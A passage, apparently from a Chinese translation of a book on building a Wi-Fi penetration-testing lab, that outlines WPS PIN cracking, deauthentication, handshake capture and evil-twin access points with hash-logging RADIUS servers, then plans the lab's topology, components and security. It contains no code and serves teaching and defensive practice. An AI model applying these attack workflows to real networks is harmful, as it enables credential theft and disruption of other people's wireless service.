WPS 与 WPA/WPA2-PSK 一起工作,允许设备通过以下方式之一连接到 WLAN:

  • PIN:在设备上输入 PIN。PIN 通常打印在 Wi-Fi 接入点背面的贴纸上。

  • 按键方法:在连接阶段,应该在接入点和客户端设备上同时按下特定按钮。设备上的按钮可以是物理的,也可以是虚拟的。

  • NFC:客户端应将设备靠近接入点以利用近场通信技术。

  • USB 驱动器:接入点和设备之间的必要连接信息交换通过 USB 驱动器完成。

由于 WPS PIN 非常短,并且其第一部分和第二部分是分开验证的,因此对 PIN 进行在线暴力破解可以在几个小时内完成,从而允许攻击者连接到 WLAN。

此外,2014 年发现了离线 PIN 破解的可能性,攻击者可以在 1 到 30 秒内破解 PIN 码,但这一攻击只对某些设备有效。

你还应该记住,虽然一个人未被允许连接到 WLAN,但如果他可以物理访问 Wi-Fi 路由器或接入点,仍然可以读取和使用 PIN 码或通过按键方法进行连接。

熟悉 Wi-Fi 攻击的工作流程

在我们看来(希望你同意),规划和构建一个安全的 WLAN 是不可能的,除非对各种攻击方法及其工作流程有足够的理解。在本主题中,我们将概述攻击者在攻击 WLAN 时的工作方式。

一般 Wi-Fi 攻击方法

在复习无线威胁和 Wi-Fi 安全机制的知识之后,让我们来看看攻击者在现实世界中使用的攻击方法。当然,像所有其他类型的网络攻击一样,无线攻击的工作流程依赖于特定的情况和目标,但在几乎所有情况下,它们仍然遵循以下一般顺序:

  1. 第一步是规划。通常,攻击者需要规划他们将要攻击的对象,如何进行攻击,任务需要哪些工具,攻击某些目标的最佳时间和地点,以及哪些配置模板将是有用的,以便提前做好准备。白帽黑客或渗透测试人员需要制定时间表并与客户协调项目计划,选择客户方的联系人,定义项目交付物,并在需要时进行其他组织工作。与每一个渗透测试项目一样,项目规划得越好(我们也可以用“项目”这个词来描述黑帽黑客的任务),成功的概率就越大。

  2. 下一步是调查。尽可能准确并尽可能多地获取关于目标的信息,对于成功的攻击至关重要,特别是在不常见的网络基础设施中。要攻击 WLAN 或其无线客户端,攻击者通常会收集至少访问点和客户端的 SSID 或 MAC 地址,以及正在使用的安全类型信息。了解目标访问点是否启用了 WPS 对攻击者来说也非常有帮助。所有这些数据不仅帮助攻击者为其工具设置正确的配置和选择适当的选项,还能帮助他们选择适合特定 WLAN 或 Wi-Fi 客户端的攻击类型和条件。所有收集的信息,尤其是非技术性的信息(例如公司和部门名称、品牌或员工姓名),也可以在破解阶段用来构建字典,以便进行暴力破解攻击。

  3. 根据安全类型和攻击者的运气,在调查阶段收集的数据甚至可以使主动攻击阶段变得不必要,直接进入破解阶段。主动攻击阶段涉及攻击者与目标(WLAN 和 Wi-Fi 客户端)之间的主动互动。在这个阶段,攻击者必须创造选择的攻击类型所需的条件并执行攻击。它包括发送各种 Wi-Fi 管理和控制帧,以及安装伪造的访问点。如果攻击者的目标是导致目标 WLAN 的服务拒绝,那么此类攻击也会在这个阶段执行。一些主动攻击对于成功攻击 WLAN 是必不可少的,但有些攻击仅仅是为了加速攻击过程,可以省略,以避免触发各种无线入侵检测/防御系统WIDPS),这些系统可能已经安装在目标网络中。因此,主动攻击阶段可以称为可选阶段。

  4. 破解是另一个重要阶段,攻击者在该阶段破解之前阶段截获的 4 次握手、WEP 数据、NTLM 哈希等信息。有许多各种免费的和商业化的工具和服务,包括云破解服务。如果此阶段成功,攻击者将获得目标 WLAN 的秘密,并可以继续连接到 WLAN,解密截获的流量等等。

主动攻击阶段

让我们在接下来的章节中详细了解主动攻击阶段中最有趣的部分——WPA-PSK 和 WPA-Enterprise 攻击。

WPA-PSK 攻击

由于 WPA 和 WPA2 都基于 4 次握手,因此攻击它们并没有区别——攻击者需要嗅探到 4 次握手的瞬间,建立一个接入点和任意无线客户端之间的连接,并强行破解匹配的 PSK。无论截获的是哪个握手都无关紧要,因为所有客户端在给定的目标 WLAN 中使用相同的 PSK。

有时,攻击者需要等待设备连接到 WLAN 以便拦截 4 次握手,当然,他们希望尽可能加速这一过程。为此,他们通过向目标接入点发送控制帧(去认证攻击)迫使已连接的设备与接入点断开连接。当设备收到此类帧时,它会从 WLAN 断开连接,并在启用“自动重新连接”功能时(大多数设备默认启用)尝试重新连接,从而进行另一次 4 次握手,攻击者可以拦截该握手。

另一种攻击 WPA-PSK 保护网络的方式是破解 WPS PIN 码(如果目标 WLAN 启用了 WPS)。

企业 WLAN 攻击

如果启用了 WPA-Enterprise 安全性,攻击会变得稍微复杂一些,但经过适当准备的攻击者可以通过模仿具有 RADIUS 服务器的合法接入点,并收集用户凭证进行进一步分析(破解),在几分钟内完成攻击。

为了实施此攻击,攻击者需要安装一个伪造接入点,SSID 与目标 WLAN 的 SSID 相同,并将其他参数(如 EAP 类型)设置为与目标 WLAN 相似,以增加成功的机会,并减少攻击被迅速发现的概率。

大多数用户的 Wi-Fi 设备根据信号强度选择连接到某个 WLAN 的接入点——它们会连接到信号最强的那个。因此,攻击者需要使用强大的 Wi-Fi 接口来伪造接入点,覆盖合法接入点的信号,迫使设备连接到伪造接入点。

在这种攻击过程中使用的 RADIUS 服务器应具有记录认证数据的能力,例如 NTLM 哈希。

从用户的角度来看,以这种方式遭受攻击的表现就像是由于某种未知原因无法连接到 WLAN,甚至如果用户此时没有使用设备而仅仅是经过一个恶意接入点时,也可能看不到任何异常。值得一提的是,传统的物理安全或无线 IDPS 解决方案在这种情况下并不总是有效。攻击者或渗透测试人员可以在目标 WLAN 的范围外安装一个恶意接入点,这将使黑客能够攻击用户设备,而无需进入物理控制区域(例如办公楼),从而使恶意接入点对于无线 IDPS 系统来说无法接触且不可见。这样的地点可以是公交车站、火车站、停车场或是许多目标 WLAN 用户带着 Wi-Fi 设备前往的咖啡馆。

与 WPA-PSK(仅在所有 WLAN 用户之间共享一个密钥)不同,企业模式为每个用户使用个性化的凭据,而这些凭据的复杂性取决于特定用户。因此,收集尽可能多的用户凭据和哈希值是更好的做法,从而增加成功破解的机会。

总结

在本章中,我们回顾了用于传输数据的无线技术,并特别强调了 Wi-Fi 技术,因为我们将使用它来为我们的渗透测试实验室提供网络访问。

在我们本章的旅程中,我们还了解了用于保护无线网络访问的安全机制,它们的典型威胁以及常见的错误配置,这些配置导致安全漏洞并使攻击者能够破坏企业和私人无线网络。

简要的攻击方法概述让我们对攻击者在无线攻击过程中通常如何行动以及如何通过利用某些安全机制中的漏洞绕过常见的安全防护措施有了一个大致的了解。

我们还看到,保护无线网络最安全且最推荐的方式是使用 WPA2-Enterprise 安全协议,并结合客户端和服务器的相互身份验证,我们将在渗透测试实验室中实现这一点。

现在,我们已经准备好继续构建一个免受前述漏洞影响的无线实验室。在下一章,我们将帮助你首先确定实验室需要为你完成的任务,然后我们将指导你完成整个实验室规划过程。指导内容的组织方式使你可以根据自己的需求决定需要实现哪些实验室组件和技术。

第二章。规划您的实验室环境

与任何建筑、软件、设备或其他类型的技术和非技术项目一样,您在开始建立实验室之前需要进行适当的规划。这个顺序是必要的,以便最大程度地从实验室环境中获得收益,同时确保免受任何类型的意外攻击。预先的规划还可以帮助避免在实施阶段出现的一些安装和配置任务的重复,尤其是在你意识到某些内容缺失或某些重要更改必须在几乎完成的实验室环境中进行时。

本章将引导您完成整个规划阶段,从理解您为何需要实验室到根据自己的需求选择实验室组件和拓扑结构。为实现这一目标,本章将涵盖以下主题:

  • 理解您的实验室应该完成的任务

  • 规划网络拓扑

  • 选择合适的组件

  • 规划实验室安全

理解您的实验室应该完成的任务

在这个主题下,我们将帮助您确定您的需求以及您希望通过实验室实现的目标。了解了您的需求后,您将能够为实验室设定要求——阐明实验室应包含哪些内容以及其组件如何相互作用。此步骤使您能够为下一步做准备——决定您需要在实验室中包含哪些组件以及为它们分配哪些角色。

实验室的目标

让我们从列出拥有实验室的典型目的开始:

  • 学习实用的渗透测试:对初学者来说,拥有一个可以练习他们学到的渗透测试技术并巩固新学到的信息的环境是至关重要的。在这一过程中,您很可能希望拥有一个真实世界企业网络的模型,并可以在实验室中模拟它。

  • 提升和维护渗透测试技能:有经验的专业人士也需要一个实验室,定期尝试一些新的攻击技术、研究漏洞或刷新他们的知识。渗透测试知识和黑客技能如果没有定期的实践练习,往往会被遗忘或消失,这对渗透测试人员以及所有其他职业和专长领域同样适用。

  • 评估渗透测试工具和框架:你可以使用实验室快速部署新的渗透测试框架和攻击套件,测试它们的能力、便利性、有效性和结果质量。尤其在涉及一个或多个商业工具或框架时,它尤其有用,因为你需要了解这些工具是否值得付费,是否能满足你的预期,并对比几个工具,决定哪一个值得购买和使用。即使是黑帽黑客,也有兴趣测试各种安全解决方案,以调整他们的攻击工具,开发或修改不应该被安全解决方案检测到或击败的恶意软件,或者进行研究,以识别和利用安全解决方案中的新漏洞。

  • 评估安全工具和解决方案:通常,几乎所有的渗透测试项目不仅包括黑客活动,还包括根据测试结果制定安全建议的阶段。为了能够提供深入且高质量的建议,安全专家必须熟悉推荐的解决方案,而其中一个途径就是亲自尝试安全解决方案。

  • 展示攻击和安全风险:有时,客户或公司管理层(他们也是安全专家的客户,但属于内部客户)希望更好地理解与特定漏洞相关的风险,以便做出正确的风险管理决策。攻击演示在教学过程中也非常有帮助,尤其是教授安全测试课程时。各种攻击技术可以在实时环境中演示,也可以在实验室环境中录制,然后在课堂上展示。如前所述,看到实际攻击示范能显著提高教育质量。世界各地的许多公司都维持意识提升项目,教育员工了解安全性,减少与所谓“人为因素”相关的风险。许多意识提升项目面临相同的问题:非安全专业人士很难理解安全风险,因此也很难记住并遵循安全规则和建议。通过在意识提升项目中使用实验室演示给员工风险,帮助他们更好地理解和记住这些风险,因为他们已经明白了什么以及如何发生。另一个例子是,当安全专家需要为了市场营销目的演示攻击和相关风险时。

尽管有一些其他非常具体的原因需要拥有实验室,大多数情况通常适合上述列出的目的,并且可以归类为这些类型。

实验室任务

现在是时候决定你想在实验室中改进、测试、研究或展示什么内容了;哪些安全测试领域;哪些技能是你主要关注的点。为了简化我们的列表,我们按领域将其进行合并。

注意

有时,我们可能会觉得为什么在一本关于无线实验室的书中谈到 IT 基础设施黑客攻击显得有些奇怪,但我们希望澄清这一点:当我们谈论企业网络(渗透测试有意义的地方)时,我们应该记住,无线网络有其自身的底层网络基础设施,通常它们与其他具有重要企业 IT 资源的网络相连。这就是我们想要在实验室中模拟的场景——通过不同方式保护 WLAN,用于无线渗透测试练习,同时提供无线访问权限,以便对真实世界网络的模型进行其他类型的黑客攻击。

网络侦察

要执行成功的渗透测试,了解攻击目标至关重要,而网络侦察正是为此目的的基础。作为渗透测试中最重要的阶段之一,网络侦察基本上是收集和处理所有关于攻击目标、其特性和能力的可用信息。网络侦察可以是:

  • 主动:涉及与目标的交互,通过发送特制数据包并分析目标对外部影响的反应。

  • 被动:不需要任何交互,主要通过监听无线和有线网络流量来进行。

活动的目标可以包括:

  • 收集未加密传输的敏感数据,例如网络帧的内容。

  • 收集有关目标网络拓扑和正在使用的网络协议的信息(包括检测过时和危险的协议)。

  • 获取网络服务、系统软件和应用程序的版本信息。

  • 识别正在使用的硬件供应商和型号。

网络侦察的最后部分是对收集到的信息进行全面分析,建议可能存在的漏洞和错误配置,以便制定攻击计划并加以利用。

因此,你收集的信息越多,成功的机会就越大。

Web 应用程序攻击

现在,随着越来越多的桌面软件和传统静态网站迁移到 web 应用程序,Web 应用程序攻击成为最受欢迎和需求量最大的主题之一。这就是为什么 Web 应用程序黑客攻击成为专业渗透测试人员必备技能的原因。

Web 应用程序攻击的列表包括但不限于跨站脚本攻击、注入攻击、跨站请求伪造、应用程序逻辑攻击、模糊测试参数、认证绕过、会话管理攻击等。

提示

如果你想了解当前最关键的网络安全漏洞,可以参考 OWASP Top 10 列表,链接地址为www.owasp.org/index.php/Top_10_2013-Top_10

黑客攻击和研究网络服务

网络服务(如 SMB、FTP 和 SSH)及其漏洞和配置错误通常作为操作系统的入口,不仅对合法用户如此,它们也有自己的特点,了解它们的运作方式可以使攻击者从匿名访问进入并控制整个系统。不正确配置的操作系统集成功能和权限也能达到同样的目的。

使用网络服务,你可以练习溢出漏洞利用、攻击弱加密和弱权限、特权提升、身份验证绕过、凭证猜测、网络侦察等技能。

AD 攻击

微软 Active Directory 是控制整个企业网络的关键,和任何技术一样,它也有自己的特点和缺陷。AD 通常在复杂的企业网络中很难集成和维护,这导致了大量的配置错误,因此它总是渗透测试人员和黑客的美味目标。但其中一些缺陷和配置错误没有对其工作原理和攻击方式的详细理解,是不容易被滥用的。

本类别包括网络侦察技术、滥用组策略、窃取凭证、哈希传递和哈希破解攻击等。

DBMS 攻击

DBMS 确实在某些方面与 Web 应用和网络服务攻击有所交集,但它是一个庞大的独立话题,涉及的内容远超仅仅与 Web 应用和监听器安全的互动。如果你想深入研究数据库攻击,有许多值得探索和实践的内容。

数据库管理系统(DBMS)攻击包括经典的漏洞利用、身份验证绕过等,但它更深入地探讨了数据库的具体情况,考虑了不同的权限级别、不同的角色以及其他 DBMS 特性。

网络层攻击

网络层攻击无疑是一个较不受欢迎的话题,因为网络技术的发展速度不如 Web 技术,且有一种观点认为这个话题几乎所有内容都已被研究和攻击。但对于每个渗透测试人员和大多数安全专家来说,这仍是必须掌握的领域。

本组攻击包括绕过防火墙和访问控制列表、突破 VLAN、中间人攻击、拒绝服务攻击(DoS)等。

绕过防火墙和突破 VLAN 有不同的攻击技术,但目标是相同的——绕过现有的访问控制规则和措施,以便访问通常无法到达的网络元素(如网络服务、子网、网络段等),并对其进行攻击或滥用。

Wi-Fi 渗透测试

由于我们正在构建一个通过 Wi-Fi 访问的实验室,明智的做法是通过在其他任务中进行 Wi-Fi 渗透测试,从中获得额外的收益,尤其是在 Wi-Fi 已广泛普及并牢固地确立为最重要的企业技术之一的情况下。

在 Wi-Fi 主题中,可以练习以下技能:攻击 WPA-PSK、攻击 WPA-Enterprise、洪泛攻击、去认证攻击、攻击弱加密、WEP 破解、中间人攻击以及嗅探攻击。

中间人攻击

中间人攻击 (MiTM) 是网络层攻击的一种子类型,但在无线网络连接中应当单独审视。我们首先需要理解的是,MiTM 攻击使得通过物理或虚拟地将攻击机器置于网络流量的源头和目标之间,从而拦截网络流量成为可能。

在 802.11 的情况下,无线网络是一个公共网络,如果它没有加密或加密较弱,攻击者即使没有逻辑连接,也能拦截目标无线网络上的所有数据。但如果攻击者设置了一个恶意接入点,他们能够读取和修改其他客户端的网络流量,并直接攻击它们(恶意双胞胎攻击),无论 WLAN 的保护类型如何。

MiTM 攻击在无线网络中通过监控和注入无线通信流量来执行。因此,攻击者可以在 OSI 模型的第一层和第二层对 WLAN 进行攻击。MiTM 攻击通常与去认证攻击结合使用,使得参与者代表接入点从网络断开连接。去认证攻击也经常被用来执行 拒绝服务 (DoS) 攻击。

在无线网络的情况下,DoS 攻击可以作为对 WLAN 的复杂攻击的一部分,结合社交工程攻击、MiTM 攻击、认证攻击等。但攻击者也可以进行纯粹的 DoS 攻击,目的是中断 WLAN 服务,例如,通过干扰信号或垃圾流量使 WLAN 发生洪泛。我们列出了最常见的实际安全领域,当然,你也可以有自己希望在实验室中执行的特定任务,但几乎所有任务都可以归属于我们列表中的一类或多类。

规划网络拓扑

构建网络时的一个基本步骤是开发网络拓扑。网络拓扑决定了实验室组件如何在物理和逻辑上互联,并显著影响网络内部的数据流,设置了网络协议使用的要求和限制。

网络分段是规划阶段需要考虑的另一个重要机制。网络分段允许我们实施网络管理协议,从而实践更多的网络层攻击,并且可以利用网络设备的集成功能和专用的网络防火墙提供更好的子网隔离和网络访问控制。

因此,如果你想在实验室中实现某些网络协议,这些协议与实践某些攻击类型并同时提供实验室安全性是有意义的,我们需要规划一个带有多个子网和虚拟局域网的分段实验室网络,而不是仅仅将所有实验室组件连接到一个交换机。我们不会实现之前提到的所有安全措施,但我们会实现一些网络分段来保护实验室,并且如果你需要,未来可以进一步加强实验室的安全性。

实验室环境的安全性也高度依赖于实验室中实现的网络拓扑,因此在开始规划子网和网络段之前,我们应该先确定一些基本的安全需求:

  • 我们需要保持内部网络段的不安全性,以便练习各种攻击,同时我们也不希望看到任何未经授权的人进入我们的实验室,无论他们有什么意图。

  • 实验室应该可以通过受保护的 WLAN 供授权用户和设备访问,但同时也应允许将测试机器直接连接到实验室 LAN,以便实践某些网络攻击。

在我们理解了实验室的安全需求后,接下来我们将定义实验室中希望拥有的子网和网络段。

在企业网络中,将服务器和用户工作空间分开并为它们分配不同的 IP 范围是常见做法。这正是我们将要实现的目标,以模拟一个真实的网络。此外,我们还将为管理服务器建立一个单独的管理 VLAN——同样,这也是在真实企业网络中常见的做法。这将使你能够实践攻击场景,比如在普通用户工作站上通过权限提升获取服务器的管理访问权限,或者通过被黑客攻陷的服务器构建一个从黑客机器到网络设备管理接口的网络隧道。

通常,大公司希望为访客提供互联网访问权限,同时保持其内部网络免受来自不受信任连接的潜在风险。这些风险可能表现为恶意行为,甚至是非故意的恶意软件通过访客设备传播。

为了最小化这些风险,公司通常会实现访客网络段。它们通常与其他企业网络和网络段在逻辑或物理上隔离,但允许访客访问互联网。随着移动设备的广泛使用,WLAN 成为了访客网络最方便且最普及的技术。

我们还希望实验室中有一个访客 WLAN,主要是因为我们不想将受信任的 WLAN 切换到比保护我们实验室更不安全的模式。我们的实验室应该主要通过 Wi-Fi 访问(记得书名吗?),但内部是脆弱的,因此,保持受信任 WLAN 的安全性是一个非常重要的点。

考虑到之前提供的所有要求,并且想要模拟一个真实的网络而不需要建设一个庞大且昂贵的基础设施,让我们设计一个流行的小型办公室网络方案,称为Router-on-a-Stick。在此方案中,假设整个网络是基于两个网络设备构建的:一个交换机和一个仅连接到交换机一个端口的路由器。

Router-on-a-Stick方案假设本地网络通过唯一的指定且逻辑隔离的交换机端口连接到外部网络(或 ISP)。请记住,所有该端口之外的环境都是不受信任的。访客 WLAN 子网也是不受信任的网络环境,因为它暴露在空中,且专门用于连接不受信任的设备。

我们认为让实验室加入不受信任的网络区域,并通过 SOHO Wi-Fi 路由器连接访客 WLAN 是一个好主意。

如果你决定增加一个带有 IPS 模块的基于网络的防火墙,安装它的一个好地方是在 SOHO 与核心路由器之间。这样,它将成为一个额外的安全层,能够保护内部实验室网络免受来自外部和访客网络的攻击。

为了更好地呈现到目前为止描述的所有想法,让我们在图表中展示结果的网络拓扑:

规划网络拓扑

实验室网络拓扑图

最后一步,让我们为我们的网络定义一个地址方案。

服务器子网将具有静态 IP 地址,如同真实网络一样,用户子网可以运行一个 DHCP 服务器,为工作站提供动态 IP 地址。访客网络和受信任的 WLAN 也应分配动态 IP 地址。你可以在以下列表中找到每个子网的 IP 范围:

  • 服务器子网:10.0.0.0/24

  • 用户子网:172.16.0.0/24

  • 访客 WLAN:192.168.0.0/24

  • 受信任的 WLAN:172.16.1.0/24

  • 管理 VLAN:10.1.0.0/24

因此,网络拓扑已经开发完成,我们可以继续选择实验室组件。

选择合适的组件

在本主题下,我们将决定哪些实验室组件可以完成前面主题中确定的任务。

由于在企业环境中建立渗透测试实验室并不总是容易获得足够的预算和硬件,甚至在家里做到这一点更难,因此在本书中我们将尽可能多地使用虚拟化和免费软件。这个决策显著影响后续主题,因为它为实验室设定了额外的要求。

虚拟化还有一个显著的优势——可以根据当前任务灵活地快速修改实验环境内容,只需简单地开启或关闭虚拟主机。

对于虚拟实验室,你需要一台足够强大的计算机,能够同时运行三到四个虚拟机。我们建议至少配备四核 CPU 和 8GB 内存。此外,你还需要至少 150GB 的硬盘空间。当然,如果你的硬盘更大,且是 SSD 硬盘,那么你的实验室运行效果会更好。

如果你打算在硬件网络设备上构建实验室,最好准备几台计算机(可能性能不如前面一段描述的那台)来将它们连接到不同的交换机端口,并同时在不同的 VLAN 上运行虚拟机。但你只会在有限数量的实验任务中使用它们。如果你有机会部署基于虚拟化平台的硬件,例如 ESXi 或 Xen,并且有足够的资源一次性运行五到六台虚拟机,那就更好了。

网络设备

作为每个网络环境的基础,我们将从选择实验室的网络设备开始。根据你准备为实验室投入的预算,可能有几种选择,我们将为其中的两种提供手册:

  • 选项 1(0 预算):安装和配置虚拟网络设备

  • 选项 2(预算 50-55 欧元或以上):购买和配置旧的思科设备

注意

你总是可以在本地的广告板和在线商店(如 eBay 或 Amazon)找到旧的且相对便宜的网络设备。我们建议你查看在你所在国家和城市的商店和配送选项,以评估价格并从上述选项中做出最佳选择。

例如,我们在 eBay 上购买的三台思科设备每台花费了 15 欧元。

在下一章中,我们将实现这两种选项,以便你可以选择更适合你的方案。当然,每种选项都有其优缺点。

使用硬件设备的主要优点是可以获得非常好的性能,但缺点也很明显:通常需要为它们付费,它们比较吵,而且会消耗额外的电力。

虚拟网络设备的优势是价格和灵活性,但可能会遇到性能不足的情况。

在我们的示例中,我们将使用一台旧的思科 1700 系列路由器和一台思科 2900 系列交换机作为硬件选项(见下图),并使用 GNS3 作为虚拟网络设备的免费解决方案。

网络设备

思科交换机和路由器

提示

另外,你也可以使用 Brocade 公司提供的虚拟网络设备,但它们不是免费的,而且我们没有尝试过它们。

我们还将使用两个 Wi-Fi 接入点:一个简单且便宜的 SOHO Wi-Fi 路由器,用于访客 WLAN 和互联网连接,另一个是思科 AIR-AP521G-E-K9 接入点,用于受信 WLAN。你可以在以下图像中看到它的样子:

网络设备

思科交换机和路由器

提示

作为简单的 SOHO Wi-Fi 路由器的替代品,你可以购买支持开源固件镜像(如 OpenWRT 或 DD-WRT)的 Wi-Fi 路由器。它将允许你扩展 Wi-Fi 安全功能,并尝试更多种类的无线攻击。例如,一些 Linksys 路由器就支持这种功能。

如果预算允许,你可以购买更新的设备和一个带有 IPS 模块的独立网络防火墙,以为我们的内部实验室网络提供更高的安全性,但我们在本书中不会涉及这些话题。

服务器和工作站组件

服务器和工作站实际上几乎在每种场景中都是最终攻击点,因为它们执行大部分网络通信,生成和处理数据及网络流量,并存储信息和服务器用户。换句话说,企业网络主要是因为它们而遭到攻击。

因此,我们应当充分关注规划最重要的实验室部分,因为它将决定我们在实验室环境中实际能够练习的内容。

我们的实验室将由大约十几台主机组成,但为了模拟现实世界的条件,我们需要一个集中式管理系统来管理用户账户和主机,作为最重要的实验室组件之一。通常用于此类目的的解决方案基于目录服务,通过基于轻量级目录访问协议LDAP)的客户端-服务器连接模型提供服务。在我们的案例中,我们将实现 Microsoft Active Directory 解决方案,用于这种集中式基础设施管理的仿真。

其他实验室组件将用于特定的应用和表示层任务,我们希望在实验室构建过程中为读者提供一定的灵活性,以便根据自己的任务和需求定制实验环境。

规划此类定制化的一个非常舒适且快速的方法是创建一个自解释表格,帮助我们快速定义实验室组件与它们允许我们完成的特定任务之间的对应关系:

任务与攻击 所需实验室组件
网络侦察 Linux 和 Windows 工作站及服务器 Windows 域,至少有一个域控制器 主机防火墙 主机入侵检测与防御系统(IDPS) 主机防病毒解决方案 配置错误的交换机和路由器 DHCP 和 DNS 服务器
黑客攻击与研究网络服务
网络层攻击与隧道技术
Web 应用攻击 DBMS 攻击 安装有各种脆弱的 Web 应用程序和数据库管理系统的 Web 服务器 Web 应用防火墙
密码和哈希攻击 Linux 和 Windows 工作站及服务器 Windows 域,至少有一个域控制器 FTP 服务 SSH 服务
无线攻击 无线接入点 RADIUS 服务器任何客户端 Wi-Fi 设备(最好是多个不同设备)
特权提升技术 存在漏洞软件的 Windows 和 Linux 工作站及服务器

在接下来的章节中,我们将根据所选实验组件的预期功能,创建具有特定参数的虚拟机。

规划实验安全

在定义实验拓扑并选择实验组件之后,是时候仔细查看安全性了。显然,我们不希望由于故意在实验环境中留下大量漏洞而成为某个攻击者的受害者。

同时,练习安全规避技术对于渗透测试人员和安全专家来说绝对重要,特别是对于提高他们的高级技能。

根据我们的总体安全要求以及建立实验的目的,我们将配置最大程度的安全性,重点放在实验网络的入口点:网关和受信任的 WLAN。

此外,我们希望详细定义实验安全要求并按区域进行分组。

访问控制

访问控制是一项强有力的措施,可以在设计和配置得当时强制执行安全性。同时,它增加了网络的复杂性,使得攻击变得更加复杂,也提供了使黑客练习更有趣、更有意义(在技能获得方面)的可能性。

对于我们的实验,访问控制可以在两个主要层面上进行表示:基于网络的访问控制,实施在网络设备上;以及基于主机的访问控制,实施在网络主机上。

记住这一点,我们来定义基于网络的访问控制要求:

  • 如果我们希望让实验组件访问互联网,但在另一个方向(从互联网到实验室)保持它们不可直接访问,我们应当在两个路由器上使用网络地址转换NAT)技术。

  • 工作站应当可以从服务器段访问,且不受任何限制。

  • 为了保护我们的内部实验网络不受通过访客 WLAN 的未经授权入侵,内部网络应当完全不可从访客子网访问,访客 WLAN 也应当不可从内部网络访问。不受信任的访客设备应只能访问互联网。

  • 为了允许所有攻击,整个网络应对经过身份验证的 WLAN 用户完全开放,不受任何限制。

如果正确实施,这些访问控制规则与所选网络拓扑结合,将显著提升实验室的安全性,并将网络攻击的实践提升到一个更高的水平。

集成安全机制

任何基础设施的安全性都可以通过其最薄弱的环节来衡量。因此,基础设施的保护应由多个层次组成,只有复杂的保护才能提供较高的安全性。需要理解的是,信息安全系统不仅包括强制实施的信息安全解决方案,还包括集成在基础设施组件中的内置安全机制。

为了评审和选择内置的安全机制,我们将采用从低到高、从硬件到软件的方式进行。

通常,廉价的有线网络设备只提供一套有限的基本安全机制,例如访问控制机制和基本的流量过滤(基于规则的简单防火墙能力),例如,基于 MAC 地址的访问过滤。但在大多数情况下,这些措施足以显著减少安全漏洞风险,并防止自传播的恶意软件和具备一般技能水平的潜在攻击者。

需要特别提到的是,网络设备具有管理接口,这些接口应当得到妥善保护,因为它们对整个网络基础设施存在极大的风险。通常,通过各种网络端口(Telnet、SSH 和 Web)可以访问这些接口,访问这些接口需要通过登录名和密码组合来验证。如果潜在攻击者获得这些接口的访问权限,后果可能对基础设施造成严重影响,甚至可能会拦截关键信息并中断整个公司所有网络服务。

根据我们的安全要求,我们将在网络入口点(网关和无线接入点)和内部网络设备上以不同的方式使用集成的安全机制,这些设备需要得到保护,而内部设备则需要保持一定的脆弱性用于培训目的。

我们将列出所有在内部网络设备上默认配置的内置安全功能,并将在网络入口点配置以下功能:

  • 强网络基础访问控制

  • 强密码策略用于认证

  • 事件日志

  • 尽可能加密管理通信(HTTPS 和 SSH)

网络抽象的下一级是主机(服务器和工作站)。当我们从信息安全的角度考虑所有主机时,我们会关注它们的操作系统。在安全问题的背景下,操作系统是一种系统软件,包含一组本地和网络服务,提供用户与基础设施之间的互动。不用说,现代操作系统带有一套内置的安全功能,主要目的是防止未经授权的访问。以下是一些典型的安全功能:

  • 身份识别与认证(帐户管理、密码策略等)

  • 授权

    • 对数据存储的访问差异化

    • 软件安装和执行的访问控制

    • 操作系统服务管理的访问控制

    • 操作系统和系统应用设置变更的访问控制

  • 网络活动过滤(内置防火墙)

  • 操作系统数据完整性的控制

  • 事件日志记录

在我们的实验室中,我们需要根据两种角色——服务器和工作站——区分主机配置,因为它们在功能上存在差异。

为了能够分析和调查安全事件和攻击,应该在所有主机上启用事件日志记录子系统。在服务器上,事件日志记录应该比工作站更为详细,例如,记录成功或失败的登录尝试。在工作站上,更为重要的日志事件是周期性停止和启动服务,因为这很可能是恶意软件活动的表现。

我们测试基础设施中使用的信息系统通常具有最基本的安全机制。这些机制通常包括认证、访问控制和事件日志记录。每个信息系统的安全机制和可能的设置都是独特的。

现代 Windows 和 Linux 工作站默认配置的内置安全机制为我们的需求提供了足够的安全级别。因此,在大多数情况下,我们将保持其原有配置,但我们将通过额外的第三方安全解决方案来加强工作站的安全性,这些解决方案将在下一主题中讨论。

由于我们将所有服务器和工作站设置为虚拟机,因此使用快照这一便捷的虚拟化功能是明智的。快照本质上是一个保存的系统状态,可以快速恢复。我们建议至少保存两个安全状态的快照。第一个快照相对不那么安全,用于练习简单和中等复杂的攻击,第二个快照则用于练习高级攻击技术,或者在你不需要攻击该主机时,可以将其打开以为其他正在被攻击的主机提供服务。

安全解决方案

尽管网络访问控制和集成的安全机制提供了良好的安全保障,但增加额外的安全解决方案仍然是一个不错的选择。实践安全规避和攻破技术的意图,以及模仿真实企业网络的实验室环境,都是实施额外安全解决方案的基本要求。

首先,我们需要确保 WLAN 的访问安全,以便将授权用户连接到实验室环境。我们将配置基于相互数字证书认证的 WPA-Enterprise 作为最安全的解决方案,并使用 FreeRADIUS 软件的 RADIUS 服务器来实现这一目的。FreeRADIUS 是一个免费开源软件,提供了多种认证选项,并且相对容易配置。

对某些工作站的额外安全保护将通过安装在其上的基于主机的入侵检测和防御系统HIDPS)和杀毒软件提供。这还将让你练习现有或开发新的安全规避攻击技术。我们将使用由 COMODO 开发的免费 HIDPS,它具备所有必要的功能,并且配置简单。

安全提示

在本书的过程中,有时我们会为您提供额外的安全提示,涉及构建和使用实验室或当前讨论的技术。安全提示将单独提供,因为它们通常不属于本书的主要内容,但在我们看来,它们仍然值得提及并强调。

现在,让我们呈现第一个安全提示:

  • 尽管我们在实验室中应用了很多安全功能,但它仍然存在很多漏洞,而且您将测试一些有时可能不可预测的危险工具,因此我们建议您仅在真正必要时将实验室连接到外部网络或互联网。

  • 与第三方设备的互操作性应尽量减少。为此,接入点应放置在受控区域。此外,我们的 WLAN 信号范围应有限制,例如,通过降低接入点的信号功率来限制。

  • 如果您需要练习黑客攻击 WEP 或其他弱网络安全机制,明智的做法是保存受影响设备的安全配置,并在实践后恢复它,以免忘记将某些重要参数配置为安全值。

  • 在练习 WEP 和 WPA-PSK 黑客攻击时,明智的做法是将 Wi-Fi 路由器物理断开与实验室网络的连接,这样在您练习时,实验室将处于不太安全的状态,没人能在这段时间内攻击您的实验室。

总结

在本章中,我们为我们的实验室开发了一个基础结构,使我们能够系统地开始构建实验室,并清晰地理解我们为何选择某些实验室组件,以及它们将为我们完成哪些任务。

我们希望在阅读完本章后,您能够在提供的清单中识别出个人需求和任务,并得出有意识的结论,了解您希望在实验室中拥有哪些内容,以及哪些内容对您来说是不必要的。

